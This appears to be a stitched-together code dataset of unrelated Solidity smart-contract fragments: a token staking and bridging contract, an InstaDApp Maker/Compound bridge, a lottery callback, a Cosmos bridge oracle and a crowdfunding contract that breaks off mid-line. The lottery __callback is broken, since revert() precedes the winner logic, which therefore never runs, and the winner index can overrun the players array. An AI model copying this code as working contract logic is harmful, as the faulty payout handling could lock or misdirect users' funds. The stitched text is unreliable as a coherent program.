1]; // Transfer SheetFighterToken back to staker ISheetFighterToken(sheetFighterTokenAddress).transferFrom( address(this), msg.sender, tokenId ); // Add rewards for the current token totalRewards = totalRewards + ( (block.timestamp - tokenIdToTimeStamp[tokenId]) * EMISSIONS_RATE ); // Remove the token from the staker in storage variables _removeTokenIdFromStaker(msg.sender, tokenId); delete tokenIdToStaker[tokenId]; } // Mint CellTokens to reward staker _mint(msg.sender, _getMaximumRewards(totalRewards)); } /// @notice Unstake SheetFighterTokens, given by ids, and get your rewards /// @notice Use unstakeAll(...) instead if unstaking all tokens for gas efficiency /// @param tokenIds Array of SheetFighterToken ids to unstake function unstakeByIds(uint256[] memory tokenIds) external { uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( tokenIdToStaker[tokenIds[i]] == msg.sender, "You're not staking this Sheet!" ); // Transfer SheetFighterToken back to staker ISheetFighterToken(sheetFighterTokenAddress).transferFrom( address(this), msg.sender, tokenIds[i] ); // Add rewards for the current token totalRewards = totalRewards + ( (block.timestamp - tokenIdToTimeStamp[tokenIds[i]]) * EMISSIONS_RATE ); // Remove the token from the staker in storage variables _removeTokenIdFromStaker(msg.sender, tokenIds[i]); delete tokenIdToStaker[tokenIds[i]]; } // Mint CellTokens to reward staker _mint(msg.sender, _getMaximumRewards(totalRewards)); } /// @notice Claim $CELL tokens as reward for staking a SheetFighterTokens, given by an id /// @notice This function does not unstake your Sheets /// @param tokenId SheetFighterToken id function claimByTokenId(uint256 tokenId) external { require( tokenIdToStaker[tokenId] == msg.sender, "You're not staking this Sheet!" ); _mint( msg.sender, _getMaximumRewards((block.timestamp - tokenIdToTimeStamp[tokenId]) * EMISSIONS_RATE) ); tokenIdToTimeStamp[tokenId] = block.timestamp; } /// @notice Claim $CELL tokens as reward for all SheetFighterTokens staked /// @notice This function does not unstake your Sheets function claimAll() external { uint256[] memory tokenIds = stakerToTokenIds[msg.sender]; uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { require( tokenIdToStaker[tokenIds[i]] == msg.sender, "Token is not claimable by you!" ); totalRewards = totalRewards + ((block.timestamp - tokenIdToTimeStamp[tokenIds[i]]) * EMISSIONS_RATE); tokenIdToTimeStamp[tokenIds[i]] = block.timestamp; } _mint(msg.sender, _getMaximumRewards(totalRewards)); } /// @notice Mint tokens when bridging /// @dev This function is only used for bridging to mint tokens on one end /// @param to Address to send new tokens to /// @param value Number of new tokens to mint function bridgeMint(address to, uint256 value) external { require(bridge != address(0), "Bridge is not set"); require(msg.sender == bridge, "Only bridge can do this"); _mint(to, _getMaximumRewards(value)); } /// @notice Burn tokens when bridging /// @dev This function is only used for bridging to burn tokens on one end /// @param from Address to burn tokens from /// @param value Number of tokens to burn function bridgeBurn(address from, uint256 value) external { require(bridge != address(0), "Bridge is not set"); require(msg.sender == bridge, "Only bridge can do this"); _burn(from, value); } /// @notice View all rewards claimable by a staker /// @param staker Address of the staker /// @return Number of $CELL claimable by the staker function getAllRewards(address staker) external view returns (uint256) { uint256[] memory tokenIds = stakerToTokenIds[staker]; uint256 totalRewards = 0; for (uint256 i = 0; i < tokenIds.length; i++) { totalRewards = totalRewards + ((block.timestamp - tokenIdToTimeStamp[tokenIds[i]]) * EMISSIONS_RATE); } return _getMaximumRewards(totalRewards); } /// @notice View rewards claimable for a specific SheetFighterToken /// @param tokenId Id of the SheetFightToken /// @return Number of $CELL claimable by the staker for this Sheet function getRewardsByTokenId(uint256 tokenId) external view returns (uint256) { require(tokenIdToStaker[tokenId] != address(0), "Sheet is not staked!"); uint256 rewards = (block.timestamp - tokenIdToTimeStamp[tokenId]) * EMISSIONS_RATE; return _getMaximumRewards(rewards); } /// @notice Get all the token Ids staked by a staker /// @param staker Address of the staker /// @return Array of tokens staked function getTokensStaked(address staker) external view returns (uint256[] memory) { return stakerToTokenIds[staker]; } /// @notice Remove a token, given by an index, from a staker in staking storage variables /// @dev This function is significantly more gas efficient the greater the index is /// @param staker Address of the staker /// @param index Index of the SheetFighterToken in stakeToTokenIds[staker] being removed function _remove(address staker, uint256 index) internal { if (index >= stakerToTokenIds[staker].length) return; // Reset all for (uint256 i = index; i < stakerToTokenIds[staker].length - 1; i++) { stakerToTokenIds[staker][i] = stakerToTokenIds[staker][i + 1]; } stakerToTokenIds[staker].pop(); } /// @notice Remove a token, given by an id, from a staker in staking storage variables /// @param staker Address of the staker /// @param tokenId SheetFighterToken id function _removeTokenIdFromStaker(address staker, uint256 tokenId) internal { // Find index of SheetFighterToken in stakerToTokenIds[staker] array for (uint256 i = 0; i < stakerToTokenIds[staker].length; i++) { if (stakerToTokenIds[staker][i] == tokenId) { // This is the tokenId to remove // Now, remove it _remove(staker, i); } } } /// @dev Returns the maximum amount of rewards the user can get, when considering the max token cap /// @param calculatedRewards The rewards the user would receive, if there were no token cap /// @return How much the owner can claim function _getMaximumRewards(uint256 calculatedRewards) internal view returns(uint256) { uint256 totalCellAvailable = MAX_CELL - totalSupply(); return totalCellAvailable > calculatedRewards ? calculatedRewards : totalCellAvailable; } }
Mint tokens when bridging This function is only used for bridging to mint tokens on one end to Address to send new tokens to value Number of new tokens to mint
function bridgeMint(address to, uint256 value) external { require(bridge != address(0), "Bridge is not set"); require(msg.sender == bridge, "Only bridge can do this"); _mint(to, _getMaximumRewards(value)); }
2,204,226
pragma solidity ^0.5.7; interface TubInterface { function open() external returns (bytes32); function join(uint) external; function exit(uint) external; function lock(bytes32, uint) external; function free(bytes32, uint) external; function draw(bytes32, uint) external; function wipe(bytes32, uint) external; function give(bytes32, address) external; function shut(bytes32) external; function cups(bytes32) external view returns (address, uint, uint, uint); function gem() external view returns (TokenInterface); function gov() external view returns (TokenInterface); function skr() external view returns (TokenInterface); function sai() external view returns (TokenInterface); function ink(bytes32) external view returns (uint); function tab(bytes32) external returns (uint); function rap(bytes32) external returns (uint); function per() external view returns (uint); function pep() external view returns (PepInterface); } interface TokenInterface { function allowance(address, address) external view returns (uint); function balanceOf(address) external view returns (uint); function approve(address, uint) external; function transfer(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); function deposit() external payable; function withdraw(uint) external; } interface PepInterface { function peek() external returns (bytes32, bool); } interface MakerOracleInterface { function read() external view returns (bytes32); } interface UniswapExchange { function getEthToTokenOutputPrice(uint256 tokensBought) external view returns (uint256 ethSold); function getTokenToEthOutputPrice(uint256 ethBought) external view returns (uint256 tokensSold); function tokenToTokenSwapOutput( uint256 tokensBought, uint256 maxTokensSold, uint256 maxEthSold, uint256 deadline, address tokenAddr ) external returns (uint256 tokensSold); } interface LiquidityInterface { function borrowTknAndTransfer(address ctknAddr, uint tknAmt) external; function payBorrowBack(address ctknAddr, uint tknAmt) external; } interface CTokenInterface { function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, address cTokenCollateral) external returns (uint); function liquidateBorrow(address borrower, address cTokenCollateral) external payable; function exchangeRateCurrent() external returns (uint); function getCash() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalReserves() external view returns (uint); function reserveFactorMantissa() external view returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); function allowance(address, address) external view returns (uint); function approve(address, uint) external; function transfer(address, uint) external returns (bool); function transferFrom(address, address, uint) external returns (bool); } interface CERC20Interface { function mint(uint mintAmount) external returns (uint); // For ERC20 function repayBorrow(uint repayAmount) external returns (uint); // For ERC20 function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); // For ERC20 function borrowBalanceCurrent(address account) external returns (uint); } interface CETHInterface { function mint() external payable; // For ETH function repayBorrow() external payable; // For ETH function repayBorrowBehalf(address borrower) external payable; // For ETH function borrowBalanceCurrent(address account) external returns (uint); } interface ComptrollerInterface { function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cTokenAddress) external returns (uint); function getAssetsIn(address account) external view returns (address[] memory); function getAccountLiquidity(address account) external view returns (uint, uint, uint); } interface CompOracleInterface { function getUnderlyingPrice(address) external view returns (uint); } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "math-not-safe"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "math-not-safe"); } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } } contract Helper is DSMath { /** * @dev get ethereum address for trade */ function getAddressETH() public pure returns (address eth) { eth = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; } /** * @dev get MakerDAO CDP engine */ function getSaiTubAddress() public pure returns (address sai) { sai = 0x448a5065aeBB8E423F0896E6c5D525C040f59af3; } /** * @dev get MakerDAO Oracle for ETH price */ function getOracleAddress() public pure returns (address oracle) { oracle = 0x729D19f657BD0614b4985Cf1D82531c67569197B; } /** * @dev get uniswap MKR exchange */ function getUniswapMKRExchange() public pure returns (address ume) { ume = 0x2C4Bd064b998838076fa341A83d007FC2FA50957; } /** * @dev get uniswap DAI exchange */ function getUniswapDAIExchange() public pure returns (address ude) { ude = 0x09cabEC1eAd1c0Ba254B09efb3EE13841712bE14; } /** * @dev get InstaDApp Liquidity contract */ function getLiquidityAddr() public pure returns (address liquidity) { liquidity = 0x7281Db02c62e2966d5Cd20504B7C4C6eF4bD48E1; } /** * @dev get Compound Comptroller Address */ function getComptrollerAddress() public pure returns (address troller) { troller = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; } /** * @dev get Compound Oracle Address */ function getCompOracleAddress() public pure returns (address troller) { troller = 0xe7664229833AE4Abf4E269b8F23a86B657E2338D; } /** * @dev get CETH Address */ function getCETHAddress() public pure returns (address cEth) { cEth = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; } /** * @dev get DAI Address */ function getDAIAddress() public pure returns (address dai) { dai = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359; } /** * @dev get CDAI Address */ function getCDAIAddress() public pure returns (address cDai) { cDai = 0xF5DCe57282A584D2746FaF1593d3121Fcac444dC; } /** * @dev setting allowance to compound contracts for the "user proxy" if required */ function setApproval(address erc20, uint srcAmt, address to) internal { TokenInterface erc20Contract = TokenInterface(erc20); uint tokenAllowance = erc20Contract.allowance(address(this), to); if (srcAmt > tokenAllowance) { erc20Contract.approve(to, uint(-1)); } } } contract MakerHelper is Helper { event LogOpen(uint cdpNum, address owner); event LogLock(uint cdpNum, uint amtETH, uint amtPETH, address owner); event LogFree(uint cdpNum, uint amtETH, uint amtPETH, address owner); event LogDraw(uint cdpNum, uint amtDAI, address owner); event LogWipe(uint cdpNum, uint daiAmt, uint mkrFee, uint daiFee, address owner); event LogShut(uint cdpNum); /** * @dev Allowance to Maker's contract */ function setMakerAllowance(TokenInterface _token, address _spender) internal { if (_token.allowance(address(this), _spender) != uint(-1)) { _token.approve(_spender, uint(-1)); } } /** * @dev CDP stats by Bytes */ function getCDPStats(bytes32 cup) internal view returns (uint ethCol, uint daiDebt) { TubInterface tub = TubInterface(getSaiTubAddress()); (, uint pethCol, uint debt,) = tub.cups(cup); ethCol = rmul(pethCol, tub.per()); // get ETH col from PETH col daiDebt = debt; } } contract CompoundHelper is MakerHelper { event LogMint(address erc20, address cErc20, uint tokenAmt, address owner); event LogRedeem(address erc20, address cErc20, uint tokenAmt, address owner); event LogBorrow(address erc20, address cErc20, uint tokenAmt, address owner); event LogRepay(address erc20, address cErc20, uint tokenAmt, address owner); /** * @dev Compound Enter Market which allows borrowing */ function enterMarket(address cErc20) internal { ComptrollerInterface troller = ComptrollerInterface(getComptrollerAddress()); address[] memory markets = troller.getAssetsIn(address(this)); bool isEntered = false; for (uint i = 0; i < markets.length; i++) { if (markets[i] == cErc20) { isEntered = true; } } if (!isEntered) { address[] memory toEnter = new address[](1); toEnter[0] = cErc20; troller.enterMarkets(toEnter); } } } contract MakerResolver is CompoundHelper { /** * @dev Open new CDP */ function open() internal returns (uint) { bytes32 cup = TubInterface(getSaiTubAddress()).open(); emit LogOpen(uint(cup), address(this)); return uint(cup); } /** * @dev transfer CDP ownership */ function give(uint cdpNum, address nextOwner) internal { TubInterface(getSaiTubAddress()).give(bytes32(cdpNum), nextOwner); } /** * @dev Pay CDP debt */ function wipe(uint cdpNum, uint _wad) internal returns (uint daiAmt) { if (_wad > 0) { TubInterface tub = TubInterface(getSaiTubAddress()); UniswapExchange daiEx = UniswapExchange(getUniswapDAIExchange()); UniswapExchange mkrEx = UniswapExchange(getUniswapMKRExchange()); TokenInterface dai = tub.sai(); TokenInterface mkr = tub.gov(); bytes32 cup = bytes32(cdpNum); (address lad,,,) = tub.cups(cup); require(lad == address(this), "cup-not-owned"); setMakerAllowance(dai, getSaiTubAddress()); setMakerAllowance(mkr, getSaiTubAddress()); setMakerAllowance(dai, getUniswapDAIExchange()); (bytes32 val, bool ok) = tub.pep().peek(); // MKR required for wipe = Stability fees accrued in Dai / MKRUSD value uint mkrFee = wdiv(rmul(_wad, rdiv(tub.rap(cup), tub.tab(cup))), uint(val)); uint daiFeeAmt = daiEx.getTokenToEthOutputPrice(mkrEx.getEthToTokenOutputPrice(mkrFee)); daiAmt = add(_wad, daiFeeAmt); // Getting Liquidity from Liquidity Contract LiquidityInterface(getLiquidityAddr()).borrowTknAndTransfer(getCDAIAddress(), daiAmt); if (ok && val != 0) { daiEx.tokenToTokenSwapOutput( mkrFee, daiAmt, uint(999000000000000000000), uint(1899063809), // 6th March 2030 GMT // no logic address(mkr) ); } tub.wipe(cup, _wad); emit LogWipe( cdpNum, daiAmt, mkrFee, daiFeeAmt, address(this) ); } } /** * @dev Withdraw CDP */ function free(uint cdpNum, uint jam) internal { if (jam > 0) { bytes32 cup = bytes32(cdpNum); address tubAddr = getSaiTubAddress(); TubInterface tub = TubInterface(tubAddr); TokenInterface peth = tub.skr(); TokenInterface weth = tub.gem(); uint ink = rdiv(jam, tub.per()); ink = rmul(ink, tub.per()) <= jam ? ink : ink - 1; tub.free(cup, ink); setMakerAllowance(peth, tubAddr); tub.exit(ink); uint freeJam = weth.balanceOf(address(this)); // withdraw possible previous stuck WETH as well weth.withdraw(freeJam); } } /** * @dev Deposit Collateral */ function lock(uint cdpNum, uint ethAmt) internal { if (ethAmt > 0) { bytes32 cup = bytes32(cdpNum); address tubAddr = getSaiTubAddress(); TubInterface tub = TubInterface(tubAddr); TokenInterface weth = tub.gem(); TokenInterface peth = tub.skr(); (address lad,,,) = tub.cups(cup); require(lad == address(this), "cup-not-owned"); weth.deposit.value(ethAmt)(); uint ink = rdiv(ethAmt, tub.per()); ink = rmul(ink, tub.per()) <= ethAmt ? ink : ink - 1; setMakerAllowance(weth, tubAddr); tub.join(ink); setMakerAllowance(peth, tubAddr); tub.lock(cup, ink); } } /** * @dev Borrow DAI Debt */ function draw(uint cdpNum, uint _wad) internal { bytes32 cup = bytes32(cdpNum); if (_wad > 0) { TubInterface tub = TubInterface(getSaiTubAddress()); tub.draw(cup, _wad); // Returning Liquidity To Liquidity Contract require(TokenInterface(getDAIAddress()).transfer(getLiquidityAddr(), _wad), "Not-enough-DAI"); LiquidityInterface(getLiquidityAddr()).payBorrowBack(getCDAIAddress(), _wad); } } /** * @dev Check if entered amt is valid or not (Used in makerToCompound) */ function checkCDP(bytes32 cup, uint ethAmt, uint daiAmt) internal returns (uint ethCol, uint daiDebt) { TubInterface tub = TubInterface(getSaiTubAddress()); ethCol = rmul(tub.ink(cup), tub.per()) - 1; // get ETH col from PETH col daiDebt = tub.tab(cup); daiDebt = daiAmt < daiDebt ? daiAmt : daiDebt; // if DAI amount > max debt. Set max debt ethCol = ethAmt < ethCol ? ethAmt : ethCol; // if ETH amount > max Col. Set max col } /** * @dev Run wipe & Free function together */ function wipeAndFreeMaker(uint cdpNum, uint jam, uint _wad) internal returns (uint daiAmt) { daiAmt = wipe(cdpNum, _wad); free(cdpNum, jam); } /** * @dev Run Lock & Draw function together */ function lockAndDrawMaker(uint cdpNum, uint jam, uint _wad) internal { lock(cdpNum, jam); draw(cdpNum, _wad); } } contract CompoundResolver is MakerResolver { /** * @dev Deposit ETH and mint CETH */ function mintCEth(uint tokenAmt) internal { enterMarket(getCETHAddress()); CETHInterface cToken = CETHInterface(getCETHAddress()); cToken.mint.value(tokenAmt)(); emit LogMint( getAddressETH(), getCETHAddress(), tokenAmt, msg.sender ); } /** * @dev borrow DAI */ function borrowDAIComp(uint daiAmt) internal { enterMarket(getCDAIAddress()); require(CTokenInterface(getCDAIAddress()).borrow(daiAmt) == 0, "got collateral?"); // Returning Liquidity to Liquidity Contract require(TokenInterface(getDAIAddress()).transfer(getLiquidityAddr(), daiAmt), "Not-enough-DAI"); LiquidityInterface(getLiquidityAddr()).payBorrowBack(getCDAIAddress(), daiAmt); emit LogBorrow( getDAIAddress(), getCDAIAddress(), daiAmt, address(this) ); } /** * @dev Pay DAI Debt */ function repayDaiComp(uint tokenAmt) internal returns (uint wipeAmt) { CERC20Interface cToken = CERC20Interface(getCDAIAddress()); uint daiBorrowed = cToken.borrowBalanceCurrent(address(this)); wipeAmt = tokenAmt < daiBorrowed ? tokenAmt : daiBorrowed; // Getting Liquidity from Liquidity Contract LiquidityInterface(getLiquidityAddr()).borrowTknAndTransfer(getCDAIAddress(), wipeAmt); setApproval(getDAIAddress(), wipeAmt, getCDAIAddress()); require(cToken.repayBorrow(wipeAmt) == 0, "transfer approved?"); emit LogRepay( getDAIAddress(), getCDAIAddress(), wipeAmt, address(this) ); } /** * @dev Redeem CETH * @param tokenAmt Amount of token To Redeem */ function redeemCETH(uint tokenAmt) internal returns(uint ethAmtReddemed) { CTokenInterface cToken = CTokenInterface(getCETHAddress()); uint cethBal = cToken.balanceOf(address(this)); uint exchangeRate = cToken.exchangeRateCurrent(); uint cethInEth = wmul(cethBal, exchangeRate); setApproval(getCETHAddress(), 2**128, getCETHAddress()); ethAmtReddemed = tokenAmt; if (tokenAmt > cethInEth) { require(cToken.redeem(cethBal) == 0, "something went wrong"); ethAmtReddemed = cethInEth; } else { require(cToken.redeemUnderlying(tokenAmt) == 0, "something went wrong"); } emit LogRedeem( getAddressETH(), getCETHAddress(), ethAmtReddemed, address(this) ); } /** * @dev run mint & borrow together */ function mintAndBorrowComp(uint ethAmt, uint daiAmt) internal { mintCEth(ethAmt); borrowDAIComp(daiAmt); } /** * @dev run payback & redeem together */ function paybackAndRedeemComp(uint ethCol, uint daiDebt) internal returns (uint ethAmt, uint daiAmt) { daiAmt = repayDaiComp(daiDebt); ethAmt = redeemCETH(ethCol); } /** * @dev Check if entered amt is valid or not (Used in makerToCompound) */ function checkCompound(uint ethAmt, uint daiAmt) internal returns (uint ethCol, uint daiDebt) { CTokenInterface cEthContract = CTokenInterface(getCETHAddress()); uint cEthBal = cEthContract.balanceOf(address(this)); uint ethExchangeRate = cEthContract.exchangeRateCurrent(); ethCol = wmul(cEthBal, ethExchangeRate); ethCol = wdiv(ethCol, ethExchangeRate) <= cEthBal ? ethCol : ethCol - 1; ethCol = ethCol <= ethAmt ? ethCol : ethAmt; // Set Max if amount is greater than the Col user have daiDebt = CERC20Interface(getCDAIAddress()).borrowBalanceCurrent(address(this)); daiDebt = daiDebt <= daiAmt ? daiDebt : daiAmt; // Set Max if amount is greater than the Debt user have } } contract InstaMakerCompBridge is CompoundResolver { event LogMakerToCompound(uint ethAmt, uint daiAmt); event LogCompoundToMaker(uint ethAmt, uint daiAmt); /** * @dev convert Maker CDP into Compound Collateral */ function makerToCompound(uint cdpId, uint ethQty, uint daiQty) external { (uint ethAmt, uint daiDebt) = checkCDP(bytes32(cdpId), ethQty, daiQty); uint daiAmt = wipeAndFreeMaker(cdpId, ethAmt, daiDebt); // Getting Liquidity inside Wipe function enterMarket(getCETHAddress()); enterMarket(getCDAIAddress()); mintAndBorrowComp(ethAmt, daiAmt); // Returning Liquidity inside Borrow function emit LogMakerToCompound(ethAmt, daiAmt); } /** * @dev convert Compound Collateral into Maker CDP * @param cdpId = 0, if user don't have any CDP */ function compoundToMaker(uint cdpId, uint ethQty, uint daiQty) external { uint cdpNum = cdpId > 0 ? cdpId : open(); (uint ethCol, uint daiDebt) = checkCompound(ethQty, daiQty); (uint ethAmt, uint daiAmt) = paybackAndRedeemComp(ethCol, daiDebt); // Getting Liquidity inside Wipe function ethAmt = ethAmt < address(this).balance ? ethAmt : address(this).balance; lockAndDrawMaker(cdpNum, ethAmt, daiAmt); // Returning Liquidity inside Borrow function emit LogCompoundToMaker(ethAmt, daiAmt); } function() external payable {} }
get InstaDApp Liquidity contract/
function getLiquidityAddr() public pure returns (address liquidity) { liquidity = 0x7281Db02c62e2966d5Cd20504B7C4C6eF4bD48E1; }
12,651,794
./full_match/4/0x4D18FdDB0000fB895bf2960928a889b27acDcb03/sources/Users/patrick/Documents/TRON/Lottery/contracts/JackPot.sol
uint256 balance_won = address(this).balance 50 / 100;players[index].transfer(balance_won);players = new address payable[](0);emit logWinner(players[index],balance_won);
function __callback( bytes32 _queryId, string memory _result, bytes memory _proof ) public { require(msg.sender == provable_cbAddress()); require(ongoingBets[_queryId].sender != address(0x0) , 'query does not exist'); if(provable_randomDS_proofVerify__returnCode( _queryId, _result, _proof) != 0){ revert(); uint ceiling = (MAX_INT_FROM_BYTE ** NUM_RANDOM_BYTES_REQUESTED) - 1; uint randomNumber = uint(keccak256(abi.encodePacked(_result))) % ceiling; require(randomNumber> 0, "random-not-found"); uint index = (randomNumber % players.length) + 1; lottery_state = false; emit logWinner(players[index],1); delete ongoingBets[_queryId]; } }
12,317,428
pragma solidity ^0.5.0; import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./Valset.sol"; import "./CosmosBridge.sol"; contract Oracle { using SafeMath for uint256; /* * @dev: Public variable declarations */ CosmosBridge public cosmosBridge; Valset public valset; address public operator; // Tracks the number of OracleClaims made on an individual BridgeClaim mapping(uint256 => address[]) public oracleClaimValidators; mapping(uint256 => mapping(address => bool)) public hasMadeClaim; /* * @dev: Event declarations */ event LogNewOracleClaim( uint256 _prophecyID, bytes32 _message, address _validatorAddress, bytes _signature ); event LogProphecyProcessed( uint256 _prophecyID, uint256 _weightedSignedPower, uint256 _weightedTotalPower, address _submitter ); /* * @dev: Modifier to restrict access to the operator. */ modifier onlyOperator() { require( msg.sender == operator, 'Must be the operator.' ); _; } /* * @dev: Modifier to restrict access to current ValSet validators */ modifier onlyValidator() { require( valset.isActiveValidator(msg.sender), "Must be an active validator" ); _; } /* * @dev: Modifier to restrict access to current ValSet validators */ modifier isPending( uint256 _prophecyID ) { require( cosmosBridge.isProphecyClaimActive( _prophecyID ) == true, "The prophecy must be pending for this operation" ); _; } /* * @dev: Constructor */ constructor( address _operator, address _valset, address _cosmosBridge ) public { operator = _operator; cosmosBridge = CosmosBridge(_cosmosBridge); valset = Valset(_valset); } /* * @dev: newOracleClaim * Allows validators to make new OracleClaims on an existing Prophecy */ function newOracleClaim( uint256 _prophecyID, bytes32 _message, bytes memory _signature ) public onlyValidator isPending(_prophecyID) { address validatorAddress = msg.sender; // Validate the msg.sender's signature require( validatorAddress == valset.recover( _message, _signature ), "Invalid message signature." ); // Confirm that this address has not already made an oracle claim on this prophecy require( !hasMadeClaim[_prophecyID][validatorAddress], "Cannot make duplicate oracle claims from the same address." ); hasMadeClaim[_prophecyID][validatorAddress] = true; oracleClaimValidators[_prophecyID].push(validatorAddress); emit LogNewOracleClaim( _prophecyID, _message, validatorAddress, _signature ); // Process the prophecy (bool valid, uint256 weightedSignedPower, uint256 weightedTotalPower ) = getProphecyThreshold(_prophecyID); if (valid) { completeProphecy( _prophecyID ); emit LogProphecyProcessed( _prophecyID, weightedSignedPower, weightedTotalPower, msg.sender ); } } /* * @dev: processBridgeProphecy * Pubically available method which attempts to process a bridge prophecy */ function processBridgeProphecy( uint256 _prophecyID ) public isPending(_prophecyID) { // Process the prophecy (bool valid, uint256 weightedSignedPower, uint256 weightedTotalPower ) = getProphecyThreshold(_prophecyID); require( valid, "The cumulative power of signatory validators does not meet the threshold" ); // Update the BridgeClaim's status completeProphecy( _prophecyID ); emit LogProphecyProcessed( _prophecyID, weightedSignedPower, weightedTotalPower, msg.sender ); } /* * @dev: checkBridgeProphecy * Operator accessor method which checks if a prophecy has passed * the validity threshold, without actually completing the prophecy. */ function checkBridgeProphecy( uint256 _prophecyID ) public view onlyOperator isPending(_prophecyID) returns(bool, uint256, uint256) { require( cosmosBridge.isProphecyClaimActive( _prophecyID ) == true, "Can only check active prophecies" ); return getProphecyThreshold( _prophecyID ); } /* * @dev: processProphecy * Calculates the status of a prophecy. The claim is considered valid if the * combined active signatory validator powers pass the validation threshold. * The hardcoded threshold is (Combined signed power * 2) >= (Total power * 3). */ function getProphecyThreshold( uint256 _prophecyID ) internal view returns(bool, uint256, uint256) { uint256 signedPower = 0; uint256 totalPower = valset.totalPower(); // Iterate over the signatory addresses for (uint256 i = 0; i < oracleClaimValidators[_prophecyID].length; i = i.add(1)) { address signer = oracleClaimValidators[_prophecyID][i]; // Only add the power of active validators if(valset.isActiveValidator(signer)) { signedPower = signedPower.add( valset.getValidatorPower( signer ) ); } } // Calculate if weighted signed power has reached threshold of weighted total power uint256 weightedSignedPower = signedPower.mul(3); uint256 weightedTotalPower = totalPower.mul(2); bool hasReachedThreshold = weightedSignedPower >= weightedTotalPower; return( hasReachedThreshold, weightedSignedPower, weightedTotalPower ); } /* * @dev: completeProphecy * Completes a prophecy by completing the corresponding BridgeClaim * on the CosmosBridge. */ function completeProphecy( uint256 _prophecyID ) internal { cosmosBridge.completeProphecyClaim( _prophecyID ); } }
: newOracleClaim Allows validators to make new OracleClaims on an existing Prophecy/ Validate the msg.sender's signature Confirm that this address has not already made an oracle claim on this prophecy Process the prophecy
function newOracleClaim( uint256 _prophecyID, bytes32 _message, bytes memory _signature ) public onlyValidator isPending(_prophecyID) { address validatorAddress = msg.sender; require( validatorAddress == valset.recover( _message, _signature ), "Invalid message signature." ); require( !hasMadeClaim[_prophecyID][validatorAddress], "Cannot make duplicate oracle claims from the same address." ); hasMadeClaim[_prophecyID][validatorAddress] = true; oracleClaimValidators[_prophecyID].push(validatorAddress); emit LogNewOracleClaim( _prophecyID, _message, validatorAddress, _signature ); (bool valid, uint256 weightedSignedPower, uint256 weightedTotalPower ) = getProphecyThreshold(_prophecyID); if (valid) { completeProphecy( _prophecyID ); emit LogProphecyProcessed( _prophecyID, weightedSignedPower, weightedTotalPower, msg.sender ); } }
6,387,148
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; contract Crowdfunding { // Data struct definition struct Project { uint init; uint end; uint target; uint amount; bool finished; string title; string description; } struct ProjectDTO { address owner; Project project; } struct Donation { address project; uint value; } /* Criar um projeto com data para expirar ** Precisamos de uma forma de identificar cada projeto */ address ownerContract; mapping (address => Project) projects; mapping (address => Donation[]) donations; address[] projectOwners; address[] donationOwners; event CreateProject(Project project); event CreateDonation(Donation donation); event ConcludeProject(string _title, uint _value); constructor() { ownerContract = msg.sender; } // Criar projeto, cria um novo projeto function createProject(uint _days, uint _target, string memory _title, string memory _description) external returns (Project memory) { require(!checkProjectExistence(msg.sender), "Ja existe um processo associado a esse endereco"); Project memory project = Project(block.timestamp, block.timestamp + _days * 3600 * 24, _target, 0, false, _title, _description); projects[msg.sender] = project; projectOwners.push(msg.sender); emit CreateProject(project); return project; } // Apoiar projeto, transfere dinheiro para o montante do projeto function donateToProject(address _project) external payable returns (Donation memory) { require(checkProjectExistence(_project), "Nao existe um processo associado a esse endereco"); require(!projects[_project].finished, "Projeto ja finalizado"); require(block.timestamp <= projects[_project].end, "Projeto ja expirado, nao e possivel receber dinheiro"); projects[_project].amount += msg.value; Donation memory donation = Donation(_project, msg.value); donations[msg.sender].push(donation); if (donations[msg.sender].length == 1) donationOwners.push(msg.sender); emit CreateDonation(donation); return donation; } // Concluir projeto, quando consegue o dinheiro até o prazo estipulado e encerra o projeto. // Somente dono do projeto pode concluir function concludeProject() external returns (Project memory){ require(checkProjectExistence(msg.sender), "Nao existe um projeto associado a esse endereco"); require(projects[msg.sender].amount >= projects[msg.sender].target, "Quantidade alvo ainda nao alcancada"); projects[msg.sender].finished = true; payable(msg.sender).transfer(projects[msg.sender].amount * 9 / 10); payable(ownerContract).transfer(projects[msg.sender].amount / 10); emit ConcludeProject(projects[msg.sender].title, projects[msg.sender].amount * 9 / 10); return projects[msg.sender]; } // Encerrar projeto, pode ser chamada a qualquer momento desde que o projeto não tenha sido concluido // Devolve 90% do dinheiro dos doadores // Somente dono do projeto ou dono do contrato pode chamar function finishProject(address _projectOwner) public payable returns (bool) { if(checkProjectExistence(_projectOwner)){ if(msg.sender == ownerContract){ refundDonation(_projectOwner); projects[_projectOwner].finished = true; return true; } else { if(msg.sender == _projectOwner){ refundDonation(_projectOwner); projects[_projectOwner].finished = true; return true; } } } require(false, "Voce nao tem preisssao para finalizar esse contrato"); return false; } // Ver um projeto especifico function checkProject(address _project) public view returns (Project memory) { require(checkProjectExistence(msg.sender), "Nao existe um processo associado a esse endereco"); return projects[_project]; } // Ver todos os projetos function listProjects() public view returns (ProjectDTO[] memory){ ProjectDTO[] memory projectDTO = new 